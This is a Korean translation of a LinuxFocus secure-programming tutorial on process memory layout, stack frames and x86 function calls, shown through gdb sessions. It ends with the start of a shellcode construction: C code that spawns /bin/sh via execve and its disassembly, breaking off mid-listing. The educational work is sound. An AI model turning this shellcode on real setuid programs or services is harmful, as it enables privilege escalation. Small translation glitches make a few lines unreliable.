[LinuxFocus-icon]
Home  |  Map  |  Index  |  Search

News | Archives | Links | About LF  
This article is available in: English  Deutsch  Francais  Nederlands  Russian  Turkce  Korean  
convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
/글쓴이 :

글쓴이 소개:

Christophe Blaess는 항공엔지니어이다. 그는 리눅스 팬으로 리눅스 시스템으로 많은 일을 스행하고 있다. 그리고 Linux문서화프로젝트에서 man페이지의 번역을 맡고 있다.

Christophe Grenier는 ESIEA에서 5년차 학생이면서 시스템 관리자로 활동중이다. is a 5th year student at the ESIEA, where he 컴퓨터 보안에 많은 관심이 있다.

Frédéric Raynal는 리눅스롤 오래전부터 사용해 왔다.리눅스는 환경을 오염시키지도 않고 호르몬을 사용하지도 않고 동물성 기름도 없이 단지 땀과 노력을 기반으로 발전해 나가기 떄문에 좋아한다고...


차례:

 

소프트웨어 개발 : 응용프로그램 개발시 보안헛점 피하기 - 제 2부 : 메모리,스택,함수 그리고 쉘 코드

article illustration

요약:

이번에 기획된 연재들은 applications 에서 나타날수 있는 보안 문제점들에 중점을 두고 있다. 그리고 프로그램 개발시 약간만 노력한다면 이러한 문제점은 피할 수 있다는 것을 보여주고 있다.

이번글에서는 메모리의 구조와 계층,그리고 funtion 과 memory의 관계에 대해서 다루었다. 또한 이글의 마지막부분에서는 shellcode를 만드는 방법을 다루었다. shellcode.



 

들어가는 글

우리는 앞의 글에서 외부 실행 명령(external command execution)에 기반을 둔 몇가지 보안 문제점에 대해 분석해보았다. 이번 글과 다음에 이어질 글에서는 광범위한 부분에서 사용되고 있는 buffer overflow라는 공격에 대해 알아보고자 한다. 우리는 프로그램이 실행되었을 때의 메모리 구조를 알아보고, shell을 시작하게 하는 코드(shellcode)를 만들어 볼 것이다.  

메모리의 구성

 

프로그램이란?

우리는 일반적으로, 명령어들로 이루어져 있으며,기계어로 표현된 것을(이것을 프로그래밍하는 언어와는 상관없이) binary라고 부른다. binary file을 얻기 위해 처음 compile할 때, program source는 변수(variable),상수(constants),명령어(instructions) 등을 보관한다. 이 장에서는 binary의 각 부분이 메모리에서 어떻게 배치되는지를 알아보고자 한다.

 

서로 다른 영역

실행파일(binary)이 실행되는 동안 어떤일이 일어나는지 이해하기 위해서 메모리의 구조를 살펴보기로 하자. 그림에서와 같이 여러가지 영역이 메모리에 존재한다.

memory layout

위의 그림이 메모리 구조의 모든 것을 보여주고 있진 않지만, 이 글에서 중점적으로 다룰 내용에 대한 메모리 구조를 잘 보여주고 있다.

아래에 나오는size -A file --radix 16 이란 명령은 compile될때 각각의 영역이 차지하는 크기를 보여주는 명령이다. 이 명령을 통해서 각각의 영역에 대한 메모리 주소를 얻을 수 있다(이와 같은 정보는 objdump라는 명령어를 통해서도 얻을 수 있다.). 여기에서는 "fct" 라는 실행파일(binary)의 size를 예로 들었다.

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

text 영역은 프로그램의 명령어들(instructions)이 저장되며, 이 영역은 read-only영역이다. 이 영역은 같은 실행파일이 여러개 실행중일때 모든 프로세스(process)가 공유하는 영역이다. 이 영역에 대한 쓰려는 시도는 segmentation violation error를 가져올 것이다.

다른 영역에 대해 설명하기 전에, C언어에서의 변수(varilable)에 관해서 몇가지 알아보자. 전역변수(global variables)를 선언 하면, 프로그램 전체에서 전역변수가 유효한 반면, 지역변수( local variables)를 선언하면 그 지역변수가 선언된 함수안에서만, 유효한 값을 가진다. 정적 변수(static variables)를 선언하면, 선언된 데이터 유형의 크기만큼의 공간을 확보한다. 이 데이터 유형으로는 char,int,double, pointer(C 에서 *와 함께 표현되는pointer형 변수를 말한다.)등이 있다. PC타입의 컴퓨터에서 포인터(pointer)는 32bit의 정수형 주소체계(integer address)로 표현된다. static영역의 크기는 컴파일되는 동안 정확히는 알 수 없다.동적변수(dynamic variable)는 명시적으로 메모리 영역을 할당하므로, 포인터가 이 할당된 주소를 가르키고 있다. global/local,static/dynamic 변수들은 같이 사용하여도 상관없다.

다시, 위에서 살펴본 메모리 구조로 넘어가 보자. data영역은 초기화된 정적 전역 data(the initialized global static data)가 저장되는 반면(이 값은 컴파일시 제공된다.), bss segment는 초기화되지 않은 전역 data(global data)가 저장된다. 이 영역은 그들이 가지고 있는 objects에 의해 정의된 그들의 크기가 있기 때문에 컴파일될때 보존된다.

그렇다면 컴파일시 지역변수와 동적변수는 어떻게 될까? 이들은 프로그램 실행을 위해 메모리 영역에 무리지어 저장된다( 이들은 user stack frame이라는 것을 생성하여 이곳에 저장된다.). 함수가 반복적으로 호출되기 때문에 지역변수의 instances 갯수는 사전에 알 수 없다. 지역변수를 생성하면, 이들은 stack에 넣어지게 된다. 이 스택은 user address 공간에서 상위 메모리 주소번지의 최상위에 위치하며, LIFO(Last In, First Out)모델에 따라 동작한다. user frame영역의 아래쪽은 동적변수의 할당에 사용된다. 이부분을 heap영역이라 부른다. 이것은 동적변수와 포인터에 의해 가리켜지는 메모리 영역을 포함하고 있다. 32bit 체계에서 포인터 변수를 선언했을때, BSS또는 stack안의 어떤 정확한 주소를 가르키지는 않는다. 프로세서가 memory를 할당함으로서 (malloc같은 함수를 써서) 그 메모리의 첫번째 바이트의 주소가 포인터변수안으로 들어가게 된다.

 

자세한 예

아래의 예제는 메모리안에서 변수들이 어떤 계층에 속하는 지를 잘 보여주고 있다. :

/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)
{
  int i;              //in the stack
  /* Reserves 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

Gnu/linux 디버거인 gdb를 이용하여 이를 확인해보자.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

breakpoint를 f() 시켜보자:

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

이제는 각각의 변수가 위치하는 곳을 확인해볼 차례다.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

1번 명령(print &index)은 전역변수인 index의 메모리 주소를 보여준다. 두번째 명령 (info)는 index의 메모리주소와 symbol을 연결시켜서 메모리의 어떤 영역에 이 주소가 존재하는지를 보여준다: index는 초기화된 전역 정적 변수이므로 data영역에 저장된다는 것을 이 명령을 통해 알 수 있다.

3번과 4번 명령어는 초기화되지 않은 정적 변수인 nothingBSS segment에 저장된다는 사실을 보여주고 있다.

5번명령은 str을 보여주고 있다. 실제로는 str변수의 내용을 보여주고 있으며 그 주소는 0x80495a8이다. 6번 명령은 이 주소에는 아무런 변수도 정의되어 있지 않음을 보여주고 있다. 7번명령으로 str변수의 주소를 얻어서, 8번명령으로 이 변수가 BSS segment에 존재한다는 것을 보여주고 있다.

9번명령은 0x804959c의 주소에 저장된 메모리 내용에 해당하는 것을 4bytes로 보여준다: 이 메모리 내용은 heap 영역에 존재한다. 10번명령은 문자열 "abcde"가 이 메모리 주소에 존재한다는 보여준다 :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

지역변수인 ci는 스택에 저장된다.

우리는 프로그램에서 size명령어를 통해 얻은 각각의 영역에 대한 크기가 우리가 기대한 값과 다르다는 사실을 알아야 한다. 크기가 다른 이유는 라이브러리에서 선언된 각종의 다른 변수들이 프로그램 실행시 나타나기 때문이다(gdb에서 info variables라는 명령을 통해 이들 모두를 얻을 수 있다.).

 

The stack and the heap

함수가 호출될 때마다, 지역 변수와 함수의 인자들을 위한 새로운 환경이 생성된다(여기에서 쓰인 환경 (environment)이란, 함수를 실행하는 동안 나타나는 모든 요소를 의미하며 여기에는 함수의 인자(arguments), 지역변수, return address등이 포함된다. 여기서 쓰인 환경이란 단어는 shell의 환경변수와는 다르므로 혼동하지 않길 바란다.). %esp (extended stack pointer)는 스택의 최상위 주소를 가지고 있는 레지스터이며, 실제로 우리가 표현할 때는 최하위(bottom)에 표현된다. 하지만 스택에 더해지는 마지막 요소를 가리키고 있다는 점과 스택을 이해하는데 최상위(top)이란 표현이 더 잘 어울리므로 top이라고 계속 부를 것이다: 이것은 시스템 구조에 의존적이어서, 이 레지스터가 때로는 스택의 첫번째 빈 공간을 가리키고 있는 경우도 있다.

스택에서 지역변수의 주소는 %esp에 대한 offset으로 표현된다. 그러나 %esp를 이용하면 인자들(items)를 스택에 넣고 빼고 하는 작업에 있어서 항상 각 변수의 offset을 재조정해야 하므로 매우 비효율적이다. 이러한 문제점을 해결하는 방안으로 %ebp를 사용한다:%ebp(extended base pointer)는 현재 함수의 환경이 시작되는 주소를 저장하고 있는 레지스터이다. 또한 이 레지스터에 대한 offset표현 이 가능하다. 그리고 함수가 실행되는 동안 변하지 않는다. 위에서 설명한 내용을 잘 이해하였다면, 함수안에서 지역변수나 인자를 쉽게 찾을 수 있을 것이다.

스택의 기본 단위는 word이다 : i386 CPU에서는 32bit, 즉 4bytes이다. 이것은 시스템에 따라 다르다. Alpha CPU에서의 word는 64bit이다. 스택은 오로지 words단위로만 다루어 지므로, 할당된 모든 변수는 같은 word size를 가지게 된다. 이부분에 대해서는 함수의 prolog부분에서 좀 더 자세히 다룰예정이다. 앞의 예에서 gdb를 통하여 str변수의 내용을 볼 수 있었는데, 이부분이 스택의 기본단위가 word라는 것을 잘 보여주고 있다. gdbx명령은 32bit word전체를 보여준다(이것은 왼쪽으로부터 오른쪽으로 읽는다.i386 CPU에서는 little endian구조를 가지고 있기 때문이다.).

스택에서 자주 쓰이는 2개의 cpu 명령어가 있다:

 

레지스터

정확히 레지스터라는 것이 무엇을 말하는 것일까? 간단하게 설명하자면,메모리에 연속적으로 words가 구성되는 동안 단지 한 word를 저장하고 있는 보관함정도로 이해하면 된다. 매시간마다 새로운 값이 레지스터에 들어가게 된다(이때 전에 저장된 값은 없어진다.).이밖에도, 레지스터는 메모리와 CPU사이에 직접통신이 가능하다는 특징을 가지고 있다.

레지스터이름의 제일 앞에 있는 'e'는 "extended"를 의미하며, 이것은 16bit구조에서 32bit구조로의 변화를 나타낸다.

레지스터는 다음과 같이 4개부분으로 나눌 수 있다 :

  1. general registers : data를 다루는 레지스터로 %eax, %ebx,%ecx, %edx가 여기에 속한다 ;
  2. segment registers : 메모리주소의 첫번째 부분을 가지고 있는 레지스터로 16bit %cs, %ds, %esx ,%ss가 여기에 속한다;
  3. offset registers : 이 레지스터들은 segment 레지스터에 대한 offset을 가리키는 레지스터들이다 :
  4. special registers : 이것은 오직 CPU에 의해서만 사용된다.
주의할 점: 여기서 이야기하는 모든 레지스터는 alpha나 sparc머신같은 것이 아닌, x86시스템에 맞춘것이다. 비록 시스템마다 다른 이름을 가지더라도 이와 비슷한 기능을 가지고 있을 것이다.  

함수

 

들어가는 글

이 장에서는 프로그램의 호출에서부터 프로그램이 끝날때까지 프로그램안에 일어나는 일에 관해 다룰 것이다. 이 장을 진행하는 동안 아래의 예제를 가지고 계속 설명해 나갈 것이다:
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

이 장에서는 위에 있는 함수에서 일어나는 일을 스택과 레지스터에 초점을 맞추어 설명하려 한다. 어떤 공격은 프로그램의 실행방법의 변화를 통하여 이루어진다. 이러한 것을 이해하기 위하여, 일반적으로 어떤 일이 일어나는지에 대해서 아는 것은 중요한 일이다.

함수의 실행은 다음과 같이 세부분으로 나눌 수 있다 :

  1. the prolog : 함수안으로 들어갈때, 함수에서 빠져나올때를 위하여 함수에 들어가기 전의 스택 상황을 저장해야 한다. 또한 함수를 실행하기 위한 충분한 메모리 공간도 확보해야 한다;
  2. the function call : 함수가 호출되었을 때, 함수의 인자를 스택에 넣고, 함수의 수행을 마치고 돌아오고 나서 실행할 instruction pointer(IP)를 저장하게 된다;
  3. the function return : 함수가 호출되기 전의 상황으로 모든 것을 돌려놓게 된다.
 

prolog

함수가 호출되면 호출된 함수에서는 가장 먼저 아래의 명령들이 수행된다.
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //여기서는 $0xc라는 값을 %esp 에서 
                           빼주었는데 이값은 프로그램에 따라 
                           다르게 나타날 수 있다.

이 세가지 명령어들을 우리는 prolog라 부른다. diagram 1에서 toto()함수의 prolog부분에서 일어나는동작을 %ebp%esp레지스터를 통해 알 수 있다.:

Diag. 1 : prolog of a function
prolog 처음에 %ebp 레지스터는 X 라는 메모리상의 어떤 address를 가르키고 있다. %esp 레지스터는 스택의 하위에 존재하며 가장 마지막으로 생성된 스택을 가르키고 있는 Y라는 address를 가지고 있다. 일단 함수 안에 들어오면 현재의 환경의 시작부분,즉, %ebp를 저장해야 한다. 이때문에 %ebp를 스택에 넣고(push), %esp%ebp가 스택에 push되기 때문에 메모리 크기만큼 감소하게 된다.
environment 두번째 명령은 함수에서 새로운 환경을 만드는 것을 허락한다. 이것은 스택의 제일 위에(top)에 %ebp 를 위치 시킴으로써 가능해진다. 이제 %esp%ebp는 똑같은 메모리 address를 가르키고 있다. (이 주소는 이전의 상태를 담고 있는 address 이다.[environment address])
stack space for local variables 이제 스택에 지역 변수를 저장하기 위한 공간을 확보해야 한다. 이 문자열배열은 5개의 요소로 구성되어있고(char str[5] = "abcde";),char형이 1 byte의 크기이기 때문에 5 bytes의 공간만 확보하면 충분할 것으로 보인다. 하지만 스택은 오직 words단위로 다루어지기 때문에 word의 배수(1 word, 2 words, 3 words...)로 저장되어야 한다. word가 4bytes일 경우 5bytes를 저장하기 위해서는 8bytes의 공간이 필요하다.(2 words) 그림에서 색칠된 부분은 문자열 부분은 아니지만 이러한 법칙에 의해서 공간이 사용된다. int형 k는 4 bytes의 공간을 사용한다.(int k = 3;) 이 공간은 %esp 에서 0xc(십진수로 12) 만큼의 값을 감소시킴으로써 확보된다. 이를 통해 지역변수는 8+4=12 bytes (i.e. 3 words)를 사용한다는 것을 알 수 있다.

이 chapter의 내용에서는 조금 벗어난 이야기지만 지역변수에서 대해서 알아두어야 할 중요한 사항이 있다. 그것은 지역변수들이 %ebp 와 관련될때 음의 offset(negative offset) 을 가진다는 것이다. 예제의 main()함수에서 i = 0; 이라는 명령을 통해서 이것을 살펴보려 한다. assembly code에서는 간접주소방식으로 변수 i를 access한다:

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

hex값 0xfffffffc 은 int 형 -4를 의미한다. 이 표현은 값 0%ebp에 대해 -4bytes 떨어진 곳에 있는 변수에 저장한다 것을 의미한다. imain()함수에서 하나뿐인 지역변수이며 가장 먼저 나온 지역변수이므로 %ebp 아래 4bytes(int형의 size) 만큼 떨어진 곳에 위치한다.

 

호출

함수의 prolog부분은 단지 호출된 함수를 위한 환경을 조성하는 역할 밖에 하지 않는다. 함수가 인자를 전달받고 그 함수의 수행이 끝났을 때 호출된 함수의 자리로 돌아가는 역할은 함수의 호출(the function call)이 담당한다.

예제에서의 함수호출부분은 toto(1,2); 이다. 그럼,toto()함수를 호출했을때 어떤일이 일어나는지 그림을 통해서 알아보도록 하자.

Diag. 2 : Function call
argument on stack 함수가 호출되기 전에 함수로 전달되는 인자들(toto(1,2);에서 1과2)은 스택에 저장된다. 따라서 그림에서처럼 1과 2는 최근에 사용된 스택의 시작부분에 먼저 쌓이게 된다. 그림에 나타난 것처럼 %eip는 다음에 실행할 명령(instruction) 의 주소를 가지고 있으며 여기에서 그 주소는 바로 함수 호출 (the function call)명령이 있는곳의 주소이다.
call

call명령이 수행되고 나서, %eip는 5bytes뒤에 있는 명령어의 주소를 가지게 된다.(이는 call 이라는 명령어가 5byte의 크기를 가지기 때문이다. 그러나 이러한 명령어는 CPU에 의존적이기 때문에 항상 똑같은 크기를 차지하는 것은 아님을 알아두기 바란다.) call명령은 함수가 수행된 후, 호출된 함수쪽으로 돌아오고 나서 실행할 명령의 주소를 가지고 있는 %eip를 포함하고 있다. 이러한 "backup"과정은 내부적으로 레지스터를 스택에 넣는 과정을 포함하고 있다. 아래의 명령이 이러한 과정을 수행한다:

    push %eip

call의 인자(이글에서는 call 0x80483d0 toto()0x80483d0)로는 toto()함수의 prolog부분의 첫번째 명령어 주소와 같은 값이 주어진다. 이 주소는 %eip에 복사되며,<逅琉 5>에서와 같이 다음에 실행할 명령어(push %ebp)를 가르키게 된다.

함수안에서 어떤 것이 실행될 때에는 그것의 인자들과 리턴 어드레스는 %ebp에 대해 양의 offset(positive offset)을 가진다. 이는 next instruction이 %ebp를 스택의 최상위(top)에 넣기(push)하기 때문이다. toto()함수안에 있는 j= 0;이라는 명령을 가지고 이를 알아보자. 어셈블리 코드는 j를 간접액세스하기 위해 사용되었다:

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

hex값 0xc는 integer +12를 나타낸다. 따라서 위의 명령은 %ebp에 대하여 "+12bytes"만큼 떨어진 곳에 있는 변수에 0이란 값을 넣겠다는 뜻이다. j는 함수의 두번째 인자이며, %ebp의 최상위("on top")에서 12bytes떨어진 곳에 위치한다. (4bytes는 instruction pointer backup(위에서 설명한 call의 동작을 말한다.)이고, 4bytes는 첫번째 인자(1)이고 그 다음 4bytes가 바로 두번째 인자의 자리이다.)

 

리턴값

함수에서 벗어날 때에는 두가지 동작이 일어난다. 첫번째는, 함수를 위해 만들었던 환경을 깨끗이 없애는 것이다. (이는 함수호출(call) 이전의 상태로 %ebp%eip를 돌려놔야 함을 의미한다.). 이것이 끝나면 우리는 함수와 관계된 정보를 얻기 위해 스택을 검사하고 함수를 빠져나가기만 하면 된다.

첫번째 동작은 함수에서 다음의 명령으로 수행된다 :

leave
ret

두번째 동작은 함수가 호출되었을때 스택에 위치하는 함수의 인자를 스택에서 청소하는 작업을 한다.

toto()함수를 가지고 이러한 동작을 살펴보기로 하자.

Diag. 3 : Function return
initial situation 앞의 글에서 다룬 호출과 prolog가 일어나기 전의 상태에 대해서 다시 한번 떠올려 보자. 함수 호출이 일어나기 전에, %ebpX라는 주소를 가지고 있었고, %espY라는 주소를 가지고 있었다. 그림에서 보듯이 함수가 호출되고 난 후에는 함수의 인자와 저장된 %eip(리턴 어드레스)와 %ebp(sfp) ,그리고 지역변수를 위한 공간이 확보되어 스택에 저장되어 있다. 이러한 동작들 이후에 실행될 명령이 바로 leave이다.
leave leave명령은 아래의 명령어들을 수행하는 것과 같은 동작을 한다:
    mov ebp esp
    pop ebp

첫번째 동작은 %esp%ebp를 스택에서 같은 위치에 놓는 역할을 한다. 두번째 동작은 스택의 최상위(top)에 있는 값(X라는 address)을 %ebp에 넣는 역할을 한다(%esp%ebp가 같은 위치를 가르키고 %ebp가 pop되면 결과적으로 %esp 가 4바이트만큼 증가하게 된다.).leave명령어 하나만으로, 스택에서 prolog동작을 하지 않은 것처럼 보이게 된다.
restore ret명령에는 함수가 수행되고 난 후(leaving)에 실행될 것의 주소를 가지고 있는 %eip가 포함되어 있다. 이때문에 %eip도 스택의 최상위(top)에서 제거시켜야 한다.

아직은 함수의 인자가 스택에 남아있으므로 초기화 상태가 되지 않았다. 이들을 제거하기 위해 %eip에 표현된 z+5의 주소(여기에는 add명령이 있다.)를 다음의 명령어로 사용한다. (instruction address는 스택에 대하여 반대방향으로 증가함을 기억하라.)

stacking of parameters 인자들은 스택에 쌓여있다가 함수가 수행된 후에는 스택에서 사라지게 된다(unstacking). 이과정을 위의 그림에서 호출된 함수의 명령어와 호출한 함수의 명령어 add 0x8, %esp로 나타냈다. (호출된 함수(called function)과 호출한 함수(calling function)의 구분은 점선으로 하였다.). 이명령(add 0x8, %esp)은 %esp를 스택의 최상위(top)으로 돌려놓는다. 여기서 0x8toto()함수의 인자들이 사용한 bytes수를 뜻한다. %esp,%ebp는 이제 함수호출(call)전의 상황이 되었다. 반면에 %eip가 달라진 것을 그림을 통해서 알 수 있다.
 

Disassembling

gdb를 사용하여 main()함수와 function()함수의 어셈블리 코드를 얻을 수 있다:

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
따로 주석을 달지 않은 부분의 명령들은 대부분 instance에 할당하는 명령들이다.  

Creating a shellcode

함수의 return address를 임의의 주소로 조작할 경우 프로그램의 스택영역에서 특정코드를 실행시킬 수 있다. 이때, cracker의 관심을 끌어당기는 부분은 프로그램(application)이 user의 ID가 아닌 특정 ID,즉, Set-UID나 daemon으로 실행되고 있다는 사실일 것이다. 이런 종류의 실수가 document reader같은 프로그램에서 일어난다면 상당히 위험하다고 할 수 있다. 대표적인 예로 Acrobat Reader bug를 들 수 있는데 이 bug는 buffer overflow를 이용하여 문서를 조작할 수 있는 bug이다. 또한,이러한 위험성은 network services(i.e: imap) 에도 존재하고 있음을 알아두길 바란다.

다음 장에서는, 실행명령을 사용할 수 있는 방법에 대해서 다루고자 한다. 여기에서는 main application에서 실행되길 원하는 code에 대해서 분석한다. 실행명령을 사용하기 위한 가장 간단한 해결책은 shell을 실행시키는 간단한 코드를 만드는 것이다. 당신은 /etc/passwd파일의 권한을 바꾸는 일등의 동작을 수행할 수 있게 될 것이다. 이것을 글의 마지막에 이르러서야 다루는 이유는 이 프로그램을 Assembly language로 짜야하기 때문이다. shell을 실행시키는 이런 작은 프로그램들을 일반적으로 shell라고 부른다.

이글에 쓰인 예제들은 Phrack magazine 49에 실린 Aleph One의 "Smashing the Stack for Fun and Profit"에서 많은 영감을 얻었다.

 

With C language

shellcode의 목적은 바로 shell을 실행시키는 것이다. 이것을 C언어로 구현하면 다음과 같다:

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

함수를 이용하여 shell을 호출하는일이 가능한데, 여러가지 이유로 execve()함수가 많이 이용된다. 첫째는 exec()계열의 다른 함수들과는 달리 표준 system-call(true system-call)이라는 것이다. 실제로, execve()로 부터 다른 exec()계열의 GlibC library 함수가 만들어졌다. system-call은 interrupt에 의해 실행된다. 이러한 특징은 레지스터를 정의하기에 충분하며, 그 함수의 내용물을 통해 효과적이며 짧은 assembly code를 얻을 수 있다는 장점을 가진다.

더구나,execve()의 호출이 성공했을때는, execve()를 호출한 프로그램 (여기서는main application)이 새로운 프로그램의 실행가능한 코드(executable code)로 대체된다는 장점을 가진다. execve()의 호출이 실패하더라도 프로그램은 계속 실행된다. 이글에서는 execve()코드를 공격할 프로그램의 중간에 삽입하였다. execve()호출이 실패하더라도, 프로그램을 계속 실행시키는 것은 무의미하다. 실행은 가능하면 빨리 끝나야 한다. return(0)main()함수에서 호출하면 프로그램을 끝내는 역할을 하지만 여기서는 그 역할을 제대로 수행하지 못한다. 따라서 exit()함수를 사용하여 프로그램을 강제로 종료시켜야 한다.

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

사실 exit()는 실제 system-call인 _exit() 를 싸고 있는 또하나의 라이브러리 함수이다. 새로운 코드에서는 _exit()를 써서 시스템쪽에 더 가깝게 하였다:

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
다음장에서는 프로그램과 이 프로그램의 어셈블리 코드를 비교해볼 것이다.  

Assembly calls

gccgdb를 이용하여 앞장에서 프로그래밍한것에 해당하는 assembly instruction을 얻을 수 있다. shellcode3.c를 디버깅옵션(-g)과 공유라이브러리를 포함하기 위한 옵션(--static) 을 추가하여 컴파일한다. 이를 통하여, 우리는 system-call인 _execve()_exit()의 동작을 이해할 수 있는 충분한 정보를 얻을 수 있다.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
다음으로, gdb를 사용하여 프로그램의 어셈블리 코드를 살펴볼 것이다. 이것은 Inter플랫폼의 linux에서 테스트 한것이다.(i386과 그 위의 버전) Next, with gdb, we look for our functions Assembly equivalent. This is for Linux on Intel platform (i386 and up).
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
아래는 main()함수의 어셈블리 코드이다.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
(gdb)
위의 예를 통해,main()함수의 0x804818b0x8048192 에서 실제적인 system-call을 가지고 있는 C library subroutine을 호출하는 것을 볼 수 있다.0x804817c : mov $0x8071ea8,%edx명령어는 주소처럼 보이는 값을 %edx에 채운다. 이 주소에 있는 내용을 아래 명령을 사용하여 문자열로 나타내보자:
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
이제 우리는 문자열이 어디에 있는지 알았다.이제 execve()함수와 _exit()함수의 disassemble 코드를 살펴보자:
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
